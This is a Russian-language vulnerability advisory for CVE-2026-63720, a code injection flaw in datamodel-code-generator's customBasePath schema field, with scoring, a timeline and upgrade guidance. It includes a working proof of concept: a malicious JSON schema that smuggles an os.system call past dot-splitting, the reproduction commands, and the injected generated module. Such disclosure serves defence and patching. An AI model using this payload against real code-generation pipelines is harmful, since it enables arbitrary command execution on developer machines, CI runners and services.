
Внедрение кода (RCE) в datamodel-code-generator через непроверенный customBasePath (CVE-2026-63720)
Серьёзность: Высокая, CVSS 3.1 7.5 / CVSS 4.0 7.5 (присвоен VulnCheck, CNA)
Экологический потолок (развёртывание в виде сетевого сервиса): до 9.8
Вектор (v4.0): CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
Вектор (v3.1): CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H
Затронуто: datamodel-code-generator < 0.70.0
Исправлено в: 0.70.0
CWE: CWE-94 (Некорректный контроль генерации кода, «Инъекция кода»)
Сообщил: Rahul Karne
CNA: VulnCheck
Опубликовано: 26 июля 2026 года
datamodel-code-generator проверял каждую управляемую схемой строку импорта, которая могла нести полезную нагрузку для инъекции кода, кроме одной.
Инструмент преобразует входную схему (JSON Schema, OpenAPI, YAML) в исходный код моделей Python. Некоторые поля схемы попадают непосредственно в генерируемый код, поэтому проект проверяет их как точечные Python-идентификаторы перед использованием — специально для предотвращения инъекций. Поле расширения схемы customBasePath — единственное родственное поле, которое пропускает эту проверку. Его значение попадает без санитизации в оператор from ... import ... в генерируемом выводе. Атакующий, контролирующий входную схему, может внедрить произвольный код Python с помощью переводов строк и выражения без точек; он выполняется в момент импорта сгенерированного модуля, что является обычным следующим шагом после генерации моделей.
Это неполное исправление CVE-2026-55415 (GHSA-5578-w22f-pfx9), которое ужесточило защиту родственных полей customTypePath и x-python-import от именно этого класса атак. То исправление не затронуло customBasePath, который достигает того же стока без проверки и оставался эксплуатируемым вплоть до 0.68.1 и в main до 0.70.0.
Произвольное выполнение кода Python в процессе, который импортирует или запускает сгенерированные модели: на машине разработчика, в CI-раннере или в любом сервисе, который генерирует, а затем загружает модели. Конфиденциальность, целостность и доступность хоста полностью скомпрометированы и ограничены только привилегиями этого процесса.
Серьёзность полностью зависит от того, где выполняется кодогенерация по недоверенным входным данным:
Кто затронут: Любое использование datamodel-code-generator < 0.70.0, которое (1) генерирует модели из схемы, значение customBasePath в которой подвержено влиянию атакующего, и (2) импортирует или выполняет сгенерированный модуль. Стандартный workflow «сначала кодогенерация, затем импорт» по своей сути удовлетворяет условию (2).
Кто не затронут:
0.70.0 или новее, где customBasePath проверяется.| Метрика | Значение | Источник |
|---|---|---|
| Загрузок за всё время | 194 миллиона | pepy.tech/projects/datamodel-code-generator |
| Загрузок за последние 30 дней | 16,3 миллиона | pepy.tech |
| Типичное развёртывание | Машины разработчиков, CI/CD-конвейеры и платформы генерации SDK, выполняющие кодогенерацию из OpenAPI / JSON Schema | присуще функции инструмента |
Значение поля схемы customBasePath попадает в генерируемый код без каких-либо ограничений на идентификатор. Важны три точки в кодовой базе (пути указаны относительно src/datamodel_code_generator/):
parser/jsonschema.py определяется поле custom_base_path с alias="customBasePath" (строка ~644), которое используется через _resolve_base_class(...) в нескольких местах вызова.parser/base.py, _resolve_base_class (строка ~1665), возвращает значение только после локального normalize() (дедупликация/обрезка). Проверка идентификатора не применяется.imports.py, Import.from_full_path() (строка ~35), выводит значение дословно в виде строки from ... import .... Значение также используется как базовый класс в model/base.py set_base_class (строка ~1324) и подставляется как есть шаблоном модели (class {{ class_name }}({{ base_class }}):).Поскольку значение записывается в исходный код Python без ограничений, встроенные переводы строк и выражение без точек сохраняются в выводе как отдельные разбираемые строки, и средняя строка выполняется при импорте.
Полезная нагрузка по необходимости не содержит точек. Import.from_full_path разбивает значение по символу ., поэтому обычный вызов os.system(...) был бы разорван. Использование getattr(__import__('os'),'system')(...) позволяет избежать любых ., сохраняя разрешение того же вызова, а окружающие переводы строк сохраняют синтаксическую корректность выводимых строк from ... import ..., благодаря чему внедрённая средняя строка выполняется без ошибок.
Это не проект, который пренебрегал защитой от инъекций. Мейнтейнер неоднократно ужесточал защиту именно от этого класса атак в нескольких бюллетенях (GHSA-5578, m34r, 8m8r, wjv6), каждый раз пропуская управляемую схемой строку импорта или типа через _validate_dotted_python_identifier_path до того, как она достигнет кодогенерации. Родственные поля customTypePath (проверяется в parser/jsonschema.py, строки ~4956, 5202) и x-python-import (строка ~2096) обе проходят через этот валидатор.
customBasePath — единственное родственное поле без такого вызова. Он достигает того же стока Import.from_full_path другим путём (_resolve_base_class), который никогда не был подключён к проверке, применявшейся к другим полям. Дефект сохранился именно потому, что окружающая защита выглядела полной: рецензент, ищущий непроверяемые строки импорта, видит валидаторы на тех полях, которые проверяет в первую очередь, а этот параметр проходит через хелпер, который выглядит как разрешение базового класса, а не как обработка импорта. Это пробел в систематическом исправлении, а не его отсутствие — именно поэтому он сохранился вплоть до последнего релиза.
Атакующему необходимо:
< 0.70.0.customBasePath в схеме, которую будет обрабатывать цель, — на практике это достигается предоставлением или изменением входной схемы (сторонний документ OpenAPI/JSON Schema или схема, отправленная в сервис).Атакующему не требуется аутентификация или повышенные привилегии (PR:N). Базовый балл отражает то, что жертва выполняет обычное действие «сгенерировать и импортировать» (UI:R в v3.1 / UI:A в v4.0); развёртывание в виде сетевого сервиса устраняет даже это — именно отсюда берётся экологический балл 9.8.
Следующее было выполнено против реального, неизменённого пакета. Воспроизведение:
pip install "datamodel-code-generator==0.68.1"
datamodel-codegen --input attack.json --input-file-type jsonschema --output generated_models.py
python -c "import generated_models"
Входные данные атакующего (attack.json):
{
"type": "object",
"title": "User",
"customBasePath": "builtins import object\ngetattr(__import__('os'),'system')('whoami > RCE_PROOF.txt')\nfrom builtins.object",
"properties": { "name": { "type": "string" } }
}
Сгенерированный generated_models.py в уязвимой версии (0.68.1):
from __future__ import annotations
from builtins import object
getattr(__import__('os'), 'system')(
'whoami > RCE_PROOF.txt'
)
from builtins import object
class User(object):
name: str | None = None
Вызов атакующего попадает в сгенерированный исходный код дословно.
При импорте: команда выполняется. В проверенном запуске внедрённый маркер был выведен в stdout, а RCE_PROOF.txt был создан с именем текущего пользователя (root), что подтверждает произвольное выполнение команд через обычный workflow «сгенерировать и импортировать».
В исправленной версии (0.70.0): та же схема отклоняется до генерации какого-либо кода:
Error at schema path 'attack.json': Error: customBasePath must be a dotted
Python identifier path: "builtins import object\ngetattr(__import__('os'),
'system')('whoami > RCE_PROOF.txt')\nfrom builtins.object"
Файл не создаётся. Сообщение об отклонении прямо указывает на исправление: теперь значение должно быть путём из точечных Python-идентификаторов.
Вариант с сетевым сервисом. Было продемонстрировано, как неаутентифицированный loopback HTTP-сервис, который принимает схему через POST, генерирует модели и импортирует их, выполняет команду атакующего на сервере из одного неаутентифицированного curl и без какого-либо взаимодействия с пользователем. Именно такая форма развёртывания стоит за экологическим баллом 9.8. Файлы сервиса и атаки включены в репозиторий PoC.
Обновитесь до datamodel-code-generator 0.70.0 или новее:
pip install --upgrade "datamodel-code-generator>=0.70.0"
Версия 0.70.0 пропускает customBasePath через ту же проверку точечных идентификаторов, которая уже применяется к customTypePath и x-python-import, поэтому значение, не являющееся корректным путём идентификатора, отклоняется до генерации кода.
Если вы не можете обновиться немедленно: не генерируйте модели из схем, которые вы не контролируете полностью, и не импортируйте и не выполняйте модули, сгенерированные из недоверенных схем. В затронутых версиях нет конфигурационного флага, который добавил бы недостающую проверку; обновление — надёжное решение.
Примечание для тех, кто переиспользует внутренности генератора. Дефект заключался в отсутствующем вызове проверки на одном пути кода в Import.from_full_path, а не в изъяне самого стока. Любой нижестоящий проект, который подставляет управляемые схемой строки в генерируемый код, должен проверять каждое такое поле как точечный идентификатор, а не только те, что проходят через очевидный путь обработки импорта.
VulnCheck (CNA) присвоил 7.5 (High), что совпадает с базовым вектором, который мейнтейнер использовал для родительского бюллетеня CVE-2026-55415, поскольку это тот же класс инъекций, тот же сток Import.from_full_path и то же воздействие.
AV:N: схемы обычно получаются по сети (загруженные или сторонние документы OpenAPI / JSON Schema).AC:H: эксплуатация зависит от того, сгенерирует ли жертва модели из вредоносной схемы, а затем импортирует или запустит сгенерированный код.PR:N / UI:R (v3.1): без привилегий атакующего; жертва выполняет обычный workflow кодогенерации и импорта.C:H / I:H / A:H: полное произвольное выполнение кода на хосте.Экологический потолок — 9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H), и он применим именно к развёртыванию в виде сетевого сервиса, где генератор работает с недоверенными схемами и взаимодействие жертвы не требуется. Эта цифра — экологическое примечание для такого развёртывания, а не присвоенный базовый балл. Указывать оба значения и чётко разъяснять, какое из них что означает, — честная подача: база — 7.5, и до 9.8 балл достигает только в случае открытого сервиса.
| Дата | Событие |
|---|---|
| 13 июля 2026 | Уязвимость выявлена |
| 14 июля 2026 | Сообщено (скоординированное раскрытие) |
| 21 июля 2026 | Создан коммит с исправлением (545a96c5) |
| 24 июля 2026 | Выпущена исправленная версия 0.70.0 |
| 26 июля 2026 | CVE-2026-63720 опубликован VulnCheck |
Обнаружено и сообщено Rahul Karne, исследователем безопасности и старшим членом IEEE (IEEE Senior Member). Его исследования сосредоточены на инъекциях и дефектах обработки входных данных в open-source пакетах с большим числом зависимых проектов, включая CVE-2026-65321 (SQL-инъекция в PyAthena) и ужесточение защиты родительского класса, связанное с этой находкой.
Контакт: [email protected] · GitHub: rahulreddykarne
545a96c5: https://github.com/koxudaxi/datamodel-code-generator/commit/545a96c5Запросы СМИ: [email protected]. Полный PoC (схема атакующего, демонстрация сетевого сервиса) и дополнительные технические детали доступны по запросу.